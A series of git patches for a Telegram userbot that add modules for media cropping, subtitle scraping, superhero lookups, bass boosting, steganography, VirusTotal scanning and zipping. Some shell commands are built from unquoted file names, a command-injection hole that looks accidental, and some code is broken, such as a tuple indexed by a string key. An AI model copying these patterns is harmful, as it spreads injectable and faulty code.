+ if not os.path.exists(imgpath):
+ await event.edit("`Wasn't Able To Fetch Shot.`")
+ return
+ lmao_final = imgpath
+ elif lmao.gif or lmao.video or lmao.video_note:
+ sed_p2 = downloaded_file_name
+ jpg_file = os.path.join(sedpath, "image.jpg")
+ await take_screen_shot(sed_p2, 0, jpg_file)
+ os.remove(sed_p2)
+ if not os.path.exists(jpg_file):
+ await event.edit("`Couldn't Fetch. SS`")
+ return
+ lmao_final = jpg_file
+ await event.edit("`Almost Completed.`")
+ return lmao_final
+
+
+# Thanks To Userge-X
+async def crop_vid(input_vid: str, final_path: str):
+ media_info = MediaInfo.parse(input_vid)
+ for track in media_info.tracks:
+ if track.track_type == "Video":
+ aspect_ratio = track.display_aspect_ratio
+ height = track.height
+ width = track.width
+ if aspect_ratio != 1:
+ crop_by = width if (height > width) else height
+ os.system(f'ffmpeg -i {input_vid} -vf "crop={crop_by}:{crop_by}" {final_path}')
+ os.remove(input_vid)
+ else:
+ os.rename(input_vid, final_path)
+
+
+# Thanks To Userge-X
+async def take_screen_shot(
+ video_file: str, duration: int, path: str = ""
+) -> Optional[str]:
+ """ take a screenshot """
+ logger.info(
+ "[[[Extracting a frame from %s ||| Video duration => %s]]]",
+ video_file,
+ duration,
+ )
+ ttl = duration // 2
+ thumb_image_path = path or os.path.join(sedpath, f"{basename(video_file)}.jpg")
+ command = f'''ffmpeg -ss {ttl} -i "{video_file}" -vframes 1 "{thumb_image_path}"'''
+ err = (await runcmd(command))[1]
+ if err:
+ logger.error(err)
+ return thumb_image_path if os.path.exists(thumb_image_path) else None
+
+
+# Thanks To @HeisenbergTheDanger, @xditya
+async def fetch_feds(event, borg):
+ fedList = []
+ await event.edit("`Fetching Your FeD List`, This May Take A While.")
+ async with borg.conversation("@MissRose_bot") as bot_conv:
+ await bot_conv.send_message("/start")
+ await bot_conv.send_message("/myfeds")
+ await asyncio.sleep(3)
+ response = await bot_conv.get_response(timeout=300)
+ await asyncio.sleep(3)
+ if "You can only use fed commands once every 5 minutes" in response.text:
+ await event.edit("`Try again after 5 mins.`")
+ return
+ elif "make a file" in response.text:
+ await event.edit(
+ "`Boss, You Real Peru. You Are Admin in So Many Feds. WoW!`"
+ )
+ await asyncio.sleep(6)
+ await response.click(0)
+ await asyncio.sleep(6)
+ fedfile = await bot_conv.get_response()
+ await asyncio.sleep(3)
+ if fedfile.media:
+ downloaded_file_name = await borg.download_media(fedfile, "fedlist")
+ await asyncio.sleep(6)
+ file = open(downloaded_file_name, "r")
+ lines = file.readlines()
+ for line in lines:
+ try:
+ fedList.append(line[:36])
+ except BaseException:
+ pass
+ # CleanUp
+ os.remove(downloaded_file_name)
+ else:
+ In = False
+ tempFedId = ""
+ for x in response.text:
+ if x == "`":
+ if In:
+ In = False
+ fedList.append(tempFedId)
+ tempFedId = ""
+ else:
+ In = True
+
+ elif In:
+ tempFedId += x
+ await event.edit("`FeD List Fetched SucessFully.`")
+ return fedList
+
+
+async def get_imdb_id(search, event):
+ link = "https://yts-subs.com/search/ajax?mov=" + search
+ lol = requests.get(link)
+ warner_bros = lol.json()
+ if warner_bros == []:
+ await event.edit("`No Results Found.`")
+ warner_media = None
+ warner_s = None
+ else:
+ warner_media = warner_bros[0]["mv_mainTitle"]
+ warner_s = warner_bros[0]["mv_imdbCode"]
+ return warner_media, warner_s
+
+
+async def get_subtitles(imdb_id, borg, event):
+ await event.edit("`Processing..`")
+ link = f"https://yts-subs.com/movie-imdb/" + imdb_id
+ movie_response = requests.get(url=link)
+ subtitles = []
+ soup1 = BeautifulSoup(movie_response.content, "html.parser")
+ rows = soup1.find_all("tr", class_="high-rating")
+ for row in rows:
+ td = row.find("td", class_="flag-cell")
+ lang = td.find("span", class_="sub-lang").text
+ if lang == "English":
+ sub_link_tag = row.find("td", class_="download-cell")
+ sub_link = sub_link_tag.find("a", class_="subtitle-download").get("href")
+ sub_link = f"https://yts-subs.com/{sub_link}"
+ sub_name_tag = row.find("td", class_=None)
+ sub_name = (
+ str(sub_name_tag.find("a").text)
+ .replace("subtitle", "")
+ .replace("\n", "")
+ )
+ sub = (sub_name, sub_link)
+ subtitles.append(sub)
+ await event.edit("`Almost Done.`")
+ sub_response = requests.get(url=subtitles[0]["sub_link"])
+ selected_sub_name = subtitles[0]["sub_name"]
+ soup2 = BeautifulSoup(sub_response.content, "html.parser")
+ link = soup2.find("a", class_="btn-icon download-subtitle").get("href")
+ final_response = requests.get(link, stream=True)
+ await event.edit("`Downloading Now`")
+ if final_response.status_code == 200:
+ with open(sedpath + f"{selected_sub_name}.zip", "wb") as sfile:
+ for byte in final_response.iter_content(chunk_size=128):
+ sfile.write(byte)
+ final_paths = sedpath + f"{selected_sub_name}.zip"
+ namez = selected_sub_name
+ return final_paths, namez, subtitles[0]["sub_link"]
From d06b19e567fe09ccc342bf9f81f5882230eb2c2e Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:03:58 +0530
Subject: [PATCH 122/838] Update requirements.txt
---
requirements.txt | 1 +
1 file changed, 1 insertion(+)
diff --git a/requirements.txt b/requirements.txt
index 3b8eace4..df517204 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,4 +1,5 @@
Pillow
+pymediainfo
quote
antispaminc
python-magic
From 6590cdafc6287cc3e03e78baa5f9773ddf791f28 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:05:31 +0530
Subject: [PATCH 123/838] Create superheroes.py
---
fridaybot/modules/superheroes.py | 132 +++++++++++++++++++++++++++++++
1 file changed, 132 insertions(+)
create mode 100644 fridaybot/modules/superheroes.py
diff --git a/fridaybot/modules/superheroes.py b/fridaybot/modules/superheroes.py
new file mode 100644
index 00000000..b39f0dad
--- /dev/null
+++ b/fridaybot/modules/superheroes.py
@@ -0,0 +1,132 @@
+# Copyright (C) @chsaiujwal 2020
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program. If not, see .
+
+import requests
+
+from uniborg.util import friday_on_cmd
+
+import html
+
+from telethon.tl.functions.photos import GetUserPhotosRequest
+from telethon.tl.functions.users import GetFullUserRequest
+from telethon.tl.types import MessageEntityMentionName
+from telethon.utils import get_input_location
+from fridaybot.Configs import Config
+from fridaybot import CMD_HELP, sclient
+from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd
+
+
+@friday.on(admin_cmd(pattern="hero (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ url = "https://superhero-search.p.rapidapi.com/"
+ querystring = {"hero": input_str}
+ if Config.SUPERHERO_API_KEY is None:
+ await event.edit("Need to get an API key from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!")
+ return
+ await event.edit("Processing Your Request.")
+ inputo = Config.SUPERHERO_API_KEY
+
+ headers = {
+ 'x-rapidapi-key': inputo,
+ 'x-rapidapi-host': "superhero-search.p.rapidapi.com"
+ }
+
+ response = requests.request("GET", url, headers=headers, params=querystring)
+ a = response.json()
+ b = a.get("name")
+ c = a.get("id")
+ d = a.get("slug")
+ e = a.get("powerstats")
+ intelligence = str(e.get("intelligence"))
+ strength = str(e.get("strength"))
+ speed = str(e.get("speed"))
+ durability = str(e.get("durability"))
+ power = str(e.get("power"))
+ combact = str(e.get("combact"))
+ f = a.get("appearance")
+ lol = str(f.get("gender"))
+ lul = str(f.get("race"))
+ hm = f.get("height")
+ inch = str(hm[0])
+ cm = str(hm[1])
+ # What are you doing in our code?
+
+ weiGht = f.get("weight")
+ lb = str(weiGht[0])
+ kg = str(weiGht[1])
+ eye = str(f.get("eyeColor"))
+ hair = str(f.get("hairColor"))
+ bio = a.get("biography")
+ #Hey Kanger, Don't you dare Kamg this.
+
+ fullName = str(bio.get("fullName"))
+ ego = str(bio.get("alterEgos"))
+ aliase = bio.get("aliases")
+ sedo = ""
+ #Messi Is The Best.
+ for messi in aliase:
+ sedo += messi + " "
+
+
+
+ PoB = str(bio.get("placeOfBirth"))
+ sed = str(sedo)
+
+ firsT = str(bio.get("firstAppearance"))
+
+ alignment = str(bio.get("alignment"))
+
+ imoge = a.get("images")
+ res = list(imoge.keys())[3]
+ linke = str(res)
+ link = str(imoge.get(linke))
+ fcb = input_str.upper()
+
+ caption = f""" {fcb} STATS
+Name:- : {b}
+Id:- : {c}
+Slug:- : {d}
+Power Stats
+Intelligence:- : {intelligence}
+Strength:- : {strength}
+Speed:- : {speed}
+Durability:- : {durability}
+Power:- : {power}
+Combact:- : {combact}
+Appearance
+Gender:- : {lol}
+Race:- : {lul}
+Height:- : {inch} {cm}
+Weight:- : {lb} {kg}
+Eye Colour:- : {eye}
+Hair Colour:- : {hair}
+Biography
+Full Name:- : {fullName}
+Alter Egos:- : {ego}
+Aliases:- : {sed}
+Place Of Birth:- : {PoB}
+First Appearance:- : {firsT}
+alignment:- : {alignment}
+"""
+ await borg.send_message(
+ event.chat_id,
+ caption,
+ parse_mode="HTML",
+ file=link,
+ force_document=False,
+ silent=True,
+ )
+ await event.delete()
From 3b7c7c110a1c58a8267ac2197adf535ba6849945 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:08:24 +0530
Subject: [PATCH 124/838] Create movie_recomendation.py
---
fridaybot/modules/movie_recomendation.py | 84 ++++++++++++++++++++++++
1 file changed, 84 insertions(+)
create mode 100644 fridaybot/modules/movie_recomendation.py
diff --git a/fridaybot/modules/movie_recomendation.py b/fridaybot/modules/movie_recomendation.py
new file mode 100644
index 00000000..aaa88123
--- /dev/null
+++ b/fridaybot/modules/movie_recomendation.py
@@ -0,0 +1,84 @@
+import re
+
+import requests as HTTP
+from bs4 import BeautifulSoup as SOUP
+
+from fridaybot import CMD_HELP
+from fridaybot.utils import admin_cmd
+
+
+@friday.on(admin_cmd(pattern="rmovie (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+
+ def main(emotion):
+ if emotion == "Sad":
+ urlhere = "http://www.imdb.com/search/title?genres=drama&title_type=feature&sort=moviemeter, asc"
+
+ elif emotion == "Anticipation":
+ urlhere = "https://www.imdb.com/search/title/?genres=sci-fi"
+
+ elif emotion == "Fear":
+ urlhere = "http://www.imdb.com/search/title?genres=sport&title_type=feature&sort=moviemeter, asc"
+
+ elif emotion == "Enjoyment":
+ urlhere = "http://www.imdb.com/search/title?genres=thriller&title_type=feature&sort=moviemeter, asc"
+
+ elif emotion == "Trust":
+ urlhere = "http://www.imdb.com/search/title?genres=western&title_type=feature&sort=moviemeter, asc"
+
+ elif emotion == "Romantic":
+ urlhere = "https://www.imdb.com/search/title/?genres=romance"
+
+ elif emotion == "Comedy":
+ urlhere = "https://www.imdb.com/search/title/?genres=comedy"
+
+ response = HTTP.get(urlhere)
+
+ data = response.text
+ soup = SOUP(data, "lxml")
+ title = soup.find_all("a", attrs={"href": re.compile(r"\/title\/tt+\d*\/")})
+ return title
+
+ emotion = input_str
+ a = main(emotion)
+ count = 0
+ sed = ""
+ if emotion == "Disgust" or emotion == "Anger" or emotion == "Surprise":
+ for i in a:
+ tmp = str(i).split(">;")
+ if len(tmp) == 3:
+ lol = tmp[1][:-3]
+ sed += lol + "\n"
+ if count > 13:
+ break
+ count += 1
+
+ else:
+ for i in a:
+ tmp = str(i).split(">")
+ if len(tmp) == 3:
+ lol = tmp[1][:-3]
+ sed += lol + "\n"
+ if count > 11:
+ break
+ count += 1
+ await event.edit(
+ f"Below Are Your Movie Recommendations \n\nYour Emotion:- {input_str}\nRecommended Movie List:- {sed}",
+ parse_mode="HTML",
+ )
+
+
+CMD_HELP.update(
+ {
+ "movie_recommendation": "**Movie Recommender**\
+\n\n**Syntax : **`.rmovie `\
+\n**Usage :** Recommends Movies According To Your Emotion.\
+\n\n**Example : **`.rmovie Sad`\
+\nThis above syntax shows recommended mobies for a sad person.\
+\n\n**Note : ** Emotions are case sensitive.\
+\n\n\n**Available Emotions : ** `Sad`\n`Trust`\n`Fear`\n`Enjoyment`\n`Romantic`\n`Comedy`\n`Anticipation`"
+ }
+)
From 9ee1a6bdae61d0e9465c5c5931e497a7a90da04d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:11:39 +0530
Subject: [PATCH 125/838] Update requirements.txt
---
requirements.txt | 1 +
1 file changed, 1 insertion(+)
diff --git a/requirements.txt b/requirements.txt
index df517204..859fa7fb 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -61,6 +61,7 @@ password_strength
pyjokes
cryptocompare
faker
+pydub
validators
googletrans==3.1.0a0
spamwatch
From 5e363f8b5e32908ec195b81b9d6785aa5ff35f88 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:13:01 +0530
Subject: [PATCH 126/838] Create bassboost.py
---
fridaybot/modules/bassboost.py | 99 ++++++++++++++++++++++++++++++++++
1 file changed, 99 insertions(+)
create mode 100644 fridaybot/modules/bassboost.py
diff --git a/fridaybot/modules/bassboost.py b/fridaybot/modules/bassboost.py
new file mode 100644
index 00000000..5b556c04
--- /dev/null
+++ b/fridaybot/modules/bassboost.py
@@ -0,0 +1,99 @@
+import asyncio
+import io
+import math
+import os
+
+import numpy as np
+from pydub import AudioSegment
+from telethon import types
+
+from fridaybot.utils import admin_cmd
+
+
+@friday.on(admin_cmd(pattern="bassbost ?(.*)"))
+async def __(message):
+ v = False
+ accentuate_db = 40
+ reply = await message.get_reply_message()
+ if not reply:
+ await message.edit("Can You Reply To A MSG :?")
+ return
+ if message.pattern_match.group(1):
+ ar = message.pattern_match.group(1)
+ try:
+ int(ar)
+ if int(ar) >= 2 and int(ar) <= 100:
+ accentuate_db = int(ar)
+ else:
+ await message.edit("`BassBost Level Should Be From 2 to 100 Only.`")
+ return
+ except Exception as exx:
+ await message.edit("`SomeThing Went Wrong..` \n**Error:** " + str(exx))
+ return
+ else:
+ accentuate_db = 2
+ await message.edit("`Downloading This File...`")
+ fname = await borg.download_media(message=reply.media)
+ await message.edit("`BassBoosting In Progress..`")
+ if fname.endswith(".oga") or fname.endswith(".ogg"):
+ v = True
+ audio = AudioSegment.from_file(fname)
+ elif fname.endswith(".mp3") or fname.endswith(".m4a") or fname.endswith(".wav"):
+ audio = AudioSegment.from_file(fname)
+ else:
+ await message.edit(
+ "`This Format is Not Supported Yet` \n**Currently Supported :** `mp3, m4a and wav.`"
+ )
+ os.remove(fname)
+ return
+ sample_track = list(audio.get_array_of_samples())
+ await asyncio.sleep(0.3)
+ est_mean = np.mean(sample_track)
+ await asyncio.sleep(0.3)
+ est_std = 3 * np.std(sample_track) / (math.sqrt(2))
+ await asyncio.sleep(0.3)
+ bass_factor = int(round((est_std - est_mean) * 0.005))
+ await asyncio.sleep(5)
+ attenuate_db = 0
+ filtered = audio.low_pass_filter(bass_factor)
+ await asyncio.sleep(5)
+ out = (audio - attenuate_db).overlay(filtered + accentuate_db)
+ await asyncio.sleep(6)
+ m = io.BytesIO()
+ if v:
+ m.name = "voice.ogg"
+ out.split_to_mono()
+ await message.edit("`Now Exporting...`")
+ await asyncio.sleep(0.3)
+ out.export(m, format="ogg", bitrate="64k", codec="libopus")
+ await message.edit("`Process Completed. Uploading Now Here..`")
+ await borg.send_file(
+ message.to_id,
+ m,
+ reply_to=reply.id,
+ voice_note=True,
+ caption="Bass Boosted, \nDone By VirtualUserbot",
+ )
+ os.remove(m)
+ else:
+ m.name = "BassBoosted.mp3"
+ await message.edit("`Now Exporting...`")
+ await asyncio.sleep(0.3)
+ out.export(m, format="mp3")
+ await message.edit("`Process Completed. Uploading Now Here..`")
+ await borg.send_file(
+ message.to_id,
+ m,
+ reply_to=reply.id,
+ attributes=[
+ types.DocumentAttributeAudio(
+ duration=reply.document.attributes[0].duration,
+ title=f"BassBoost {str(accentuate_db)}lvl",
+ performer="BassBoost",
+ )
+ ],
+ caption="Bass Boosted, \nDone By VirtualUserbot",
+ )
+ os.remove(m)
+ await message.delete()
+ os.remove(fname)
From 496de5b44fa9ada98d4dd0f7c45f413417ad6b41 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:15:57 +0530
Subject: [PATCH 127/838] Update requirements.txt
---
requirements.txt | 1 +
1 file changed, 1 insertion(+)
diff --git a/requirements.txt b/requirements.txt
index 859fa7fb..69a24e0e 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -60,6 +60,7 @@ covid
password_strength
pyjokes
cryptocompare
+cryptosteganography
faker
pydub
validators
From ce8d3645fd994c75e778f43387d13e685c7ffb02 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:17:34 +0530
Subject: [PATCH 128/838] Create steganography.py
---
fridaybot/modules/steganography.py | 82 ++++++++++++++++++++++++++++++
1 file changed, 82 insertions(+)
create mode 100644 fridaybot/modules/steganography.py
diff --git a/fridaybot/modules/steganography.py b/fridaybot/modules/steganography.py
new file mode 100644
index 00000000..04ac89b7
--- /dev/null
+++ b/fridaybot/modules/steganography.py
@@ -0,0 +1,82 @@
+import os
+
+from cryptosteganography import CryptoSteganography
+from telethon.tl.types import MessageMediaPhoto
+
+from fridaybot import CMD_HELP
+from fridaybot.utils import friday_on_cmd, sudo_cmd
+
+sedpath = "./fridaydevs/"
+if not os.path.isdir(sedpath):
+ os.makedirs(sedpath)
+
+
+@friday.on(friday_on_cmd(pattern=r"stegano ?(.*)"))
+@friday.on(sudo_cmd(pattern=r"stegano ?(.*)", allow_sudo=True))
+async def hmm(event):
+ if not event.reply_to_msg_id:
+ await event.reply("Reply to any Image.")
+ return
+ await event.edit("hmm... Hiding Text Inside Image...")
+ sed = await event.get_reply_message()
+ if isinstance(sed.media, MessageMediaPhoto):
+ img = await borg.download_media(sed.media, sedpath)
+ elif "image" in sed.media.document.mime_type.split("/"):
+ img = await borg.download_media(sed.media, sedpath)
+ else:
+ await event.edit("Reply To Image")
+ return
+ text = event.pattern_match.group(1)
+ if not text:
+ await event.edit("No input found! --__--")
+ return
+ crypto_steganography = CryptoSteganography("hell")
+ crypto_steganography.hide(img, "./fridaydevs/stegano.png", text)
+ file_name = "stegano.png"
+ ok = "./fridaydevs/" + file_name
+ await borg.send_file(
+ event.chat_id,
+ ok,
+ force_document=True,
+ allow_cache=False,
+ )
+ for files in (ok, img):
+ if files and os.path.exists(files):
+ os.remove(files)
+
+
+@friday.on(friday_on_cmd(pattern=r"unstegano"))
+@friday.on(sudo_cmd(pattern=r"unstegano", allow_sudo=True))
+async def hmm(event):
+ if not event.reply_to_msg_id:
+ await event.reply("Reply to any Image.")
+ return
+ await event.edit("hmm... Searching for Text Inside The Image...")
+ sed = await event.get_reply_message()
+ if isinstance(sed.media, MessageMediaPhoto):
+ img = await borg.download_media(sed.media, sedpath)
+ elif "image" in sed.media.document.mime_type.split("/"):
+ img = await borg.download_media(sed.media, sedpath)
+ else:
+ await event.edit("Reply To Image")
+ return
+ crypto_steganography = CryptoSteganography("hell")
+ secret = crypto_steganography.retrieve(img)
+
+ await event.edit(
+ f"Decrypted Text Successfully \ntext :- {secret}",
+ parse_mode="HTML",
+ )
+
+
+CMD_HELP.update(
+ {
+ "steganography": "**Steganography**\
+\n\n**Syntax : **`.stegano `\
+\n**Usage :** Hides Given Text Inside Image.\
+\n\n**Syntax : **`.unstegano `\
+\n**Usage :** Reveals Hidden Text From Image.\
+\n\n**Example :** `.stegano hello this is secret message` .\
+\n\n**What is Steganography :** Steganography is the art and science of writing hidden messages in such a way that no one, apart from the sender and intended recipient, suspects the existence of the message, a form of security through obscurity. Additionally this plugin also enhance the security of the steganography through data encryption. The data concealed is encrypted using AES 256 encryption, a popular algorithm used in symmetric key cryptography."
+ }
+)
From 91f3619fd60c395efdd0064b722e6ae7a8d031d2 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:18:36 +0530
Subject: [PATCH 129/838] Update Configs.py
---
fridaybot/Configs.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py
index 928dfe66..bcbb98da 100644
--- a/fridaybot/Configs.py
+++ b/fridaybot/Configs.py
@@ -137,6 +137,7 @@ class Config(object):
PRIVATE_GROUP_ID = int(os.environ.get("PRIVATE_GROUP_ID", False))
PLUGIN_CHANNEL = int(os.environ.get("PLUGIN_CHANNEL", False))
NEWS_CHANNEL_ID = int(os.environ.get("NEWS_CHANNEL_ID", False))
+ FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False))
PM_DATA = os.environ.get("PM_DATA", "ENABLE")
DEEP_AI = os.environ.get("DEEP_AI", None)
ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE")
From e15e1d6de46f4aaf0bca9f337fbc90807f351d07 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:21:50 +0530
Subject: [PATCH 130/838] Update Configs.py
---
fridaybot/Configs.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py
index bcbb98da..2b2fdbab 100644
--- a/fridaybot/Configs.py
+++ b/fridaybot/Configs.py
@@ -147,6 +147,7 @@ class Config(object):
OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None)
SUPERHERO_API_KEY = os.environ.get("SUPERHERO_API_KEY", None)
FOOTBALL_API_KEY = os.environ.get("FOOTBALL_API_KEY", None)
+ VIRUSTOTAL_API_KEY = os.environ.get("VIRUSTOTAL_API_KEY", None)
OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None)
UPSTREAM_REPO = os.environ.get(
"UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot"
From 97c1f179676611935653f95c5be2cd70542df46c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:22:25 +0530
Subject: [PATCH 131/838] Create virustotal.py
---
fridaybot/modules/virustotal.py | 138 ++++++++++++++++++++++++++++++++
1 file changed, 138 insertions(+)
create mode 100644 fridaybot/modules/virustotal.py
diff --git a/fridaybot/modules/virustotal.py b/fridaybot/modules/virustotal.py
new file mode 100644
index 00000000..fe6e0ec6
--- /dev/null
+++ b/fridaybot/modules/virustotal.py
@@ -0,0 +1,138 @@
+import asyncio
+import math
+import os
+import time
+
+import requests
+from uniborg.util import friday_on_cmd
+
+from fridaybot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY
+from fridaybot.Configs import Config
+from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd
+
+# from var import var
+
+
+async def progress(current, total, event, start, type_of_ps, file_name=None):
+ """Generic progress_callback for uploads and downloads."""
+ now = time.time()
+ diff = now - start
+ if round(diff % 10.00) == 0 or current != total:
+ percentage = current * 100 / total
+ speed = current / diff
+ elapsed_time = round(diff) * 1000
+ time_to_completion = round((total - current) / speed) * 1000
+ estimated_total_time = elapsed_time + time_to_completion
+ progress_str = "[{0}{1}] {2}%\n".format(
+ "".join(["▰" for i in range(math.floor(percentage / 10))]),
+ "".join(["▱" for i in range(10 - math.floor(percentage / 10))]),
+ round(percentage, 2),
+ )
+ tmp = progress_str + "{0} of {1}\nETA: {2}".format(
+ humanbytes(current), humanbytes(total), time_formatter(estimated_total_time)
+ )
+ if file_name:
+ await event.edit(
+ "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp)
+ )
+ else:
+ await event.edit("{}\n{}".format(type_of_ps, tmp))
+
+
+def humanbytes(size):
+ """Input size in bytes,
+ outputs in a human readable format"""
+ # https://stackoverflow.com/a/49361727/4723940
+ if not size:
+ return ""
+ # 2 ** 10 = 1024
+ power = 2 ** 10
+ raised_to_pow = 0
+ dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"}
+ while size > power:
+ size /= power
+ raised_to_pow += 1
+ return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B"
+
+
+def time_formatter(milliseconds: int) -> str:
+ """Inputs time in milliseconds, to get beautified time,
+ as string"""
+ seconds, milliseconds = divmod(int(milliseconds), 1000)
+ minutes, seconds = divmod(seconds, 60)
+ hours, minutes = divmod(minutes, 60)
+ days, hours = divmod(hours, 24)
+ tmp = (
+ ((str(days) + " day(s), ") if days else "")
+ + ((str(hours) + " hour(s), ") if hours else "")
+ + ((str(minutes) + " minute(s), ") if minutes else "")
+ + ((str(seconds) + " second(s), ") if seconds else "")
+ + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "")
+ )
+ return tmp[:-2]
+
+
+sedpath = "./fridaydevs/"
+if not os.path.isdir(sedpath):
+ os.makedirs(sedpath)
+
+
+@friday.on(friday_on_cmd(pattern="vt(?: |$)(.*)", outgoing=True))
+@friday.on(sudo_cmd(pattern="vt(?: |$)(.*)", allow_sudo=True))
+async def download(target_file):
+ friday = await edit_or_reply(target_file, "`Processing ...`")
+ if Config.VIRUSTOTAL_API_KEY is None:
+ await friday.edit(
+ "Need to get an API key from https://virustotal.com\nModule stopping!"
+ )
+ return
+ await friday.edit("Processing using fridaybot server ( ◜‿◝ )♡")
+ input_str = Config.VIRUSTOTAL_API_KEY
+ if not os.path.isdir(sedpath):
+ os.makedirs(sedpath)
+ if target_file.reply_to_msg_id:
+ try:
+ c_time = time.time()
+ downloaded_file_name = await target_file.client.download_media(
+ await target_file.get_reply_message(),
+ TEMP_DOWNLOAD_DIRECTORY,
+ progress_callback=lambda d, t: asyncio.get_event_loop().create_task(
+ progress(d, t, target_file, c_time, "Downloading...")
+ ),
+ )
+ except Exception as e: # pylint:disable=C0103,W0703
+ await friday.edit(str(e))
+ else:
+ await friday.edit(
+ "Downloaded to `{}` successfully !!".format(downloaded_file_name)
+ )
+ else:
+ await friday.edit("Reply to a file..")
+
+ url = "https://www.virustotal.com/vtapi/v2/file/scan"
+
+ params = {"apikey": input_str}
+ files = {"file": (downloaded_file_name, open(downloaded_file_name, "rb"))}
+ response = requests.post(url, files=files, params=params)
+ try:
+ a = response.json()
+ b = a["permalink"]
+ except:
+ await friday.edit("your file is larger than 32 mb.")
+ try:
+ await friday.edit(
+ f" File Scan Request Complete \n\nLink of the report:- \n{b}\n\nNote:- Please open the link after 5-10 minutes.",
+ parse_mode="HTML",
+ )
+ except:
+ await friday.edit("your file is larger than 32 mb. --__--")
+
+
+CMD_HELP.update(
+ {
+ "virustotal": "**VirusTotal**\
+\n\n**Syntax : **`.vt `\
+\n**Usage :** Scans replyed file with virustotal.\
+\n**note** :** File should be less than 32 mb."
+ }
+)
From 5f6205556e59a5fec5a10d7483f9143cc1c47dea Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:23:57 +0530
Subject: [PATCH 132/838] Update unzipfile.py
---
fridaybot/modules/unzipfile.py | 91 ++++++++++++++++++++--------------
1 file changed, 54 insertions(+), 37 deletions(-)
diff --git a/fridaybot/modules/unzipfile.py b/fridaybot/modules/unzipfile.py
index a6a7e164..8ae35c53 100644
--- a/fridaybot/modules/unzipfile.py
+++ b/fridaybot/modules/unzipfile.py
@@ -2,41 +2,80 @@
coded by @By_Azade
code rewritten my SnapDragon7410
"""
-
+import asyncio
import os
import time
+import time as t
import zipfile
from datetime import datetime
-from hachoir.metadata import extractMetadata
-from hachoir.parser import createParser
-from telethon.tl.types import DocumentAttributeVideo
-
from fridaybot import CMD_HELP
-from fridaybot.utils import friday_on_cmd
+from fridaybot.utils import admin_cmd
-thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg"
extracted = Config.TMP_DOWNLOAD_DIRECTORY + "extracted/"
-if not os.path.isdir(extracted):
- os.makedirs(extracted)
+thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg"
-@friday.on(friday_on_cmd(pattern="unzip"))
+@borg.on(admin_cmd("zip"))
async def _(event):
if event.fwd_from:
return
+ if not event.is_reply:
+ await event.edit("Reply to a file to compress it. Bruh.")
+ return
mone = await event.edit("Processing ...")
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
if event.reply_to_msg_id:
- start = datetime.now()
reply_message = await event.get_reply_message()
try:
- time.time()
downloaded_file_name = await borg.download_media(
reply_message,
Config.TMP_DOWNLOAD_DIRECTORY,
)
+ directory_name = downloaded_file_name
+ await event.edit(downloaded_file_name)
+ except Exception as e: # pylint:disable=C0103,W0703
+ await mone.edit(str(e))
+ zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED).write(
+ directory_name
+ )
+ await borg.send_file(
+ event.chat_id,
+ directory_name + ".zip",
+ caption="**Zipped!**",
+ force_document=True,
+ allow_cache=False,
+ reply_to=event.message.id,
+ )
+ await asyncio.sleep(7)
+ await event.delete()
+
+
+def zipdir(path, ziph):
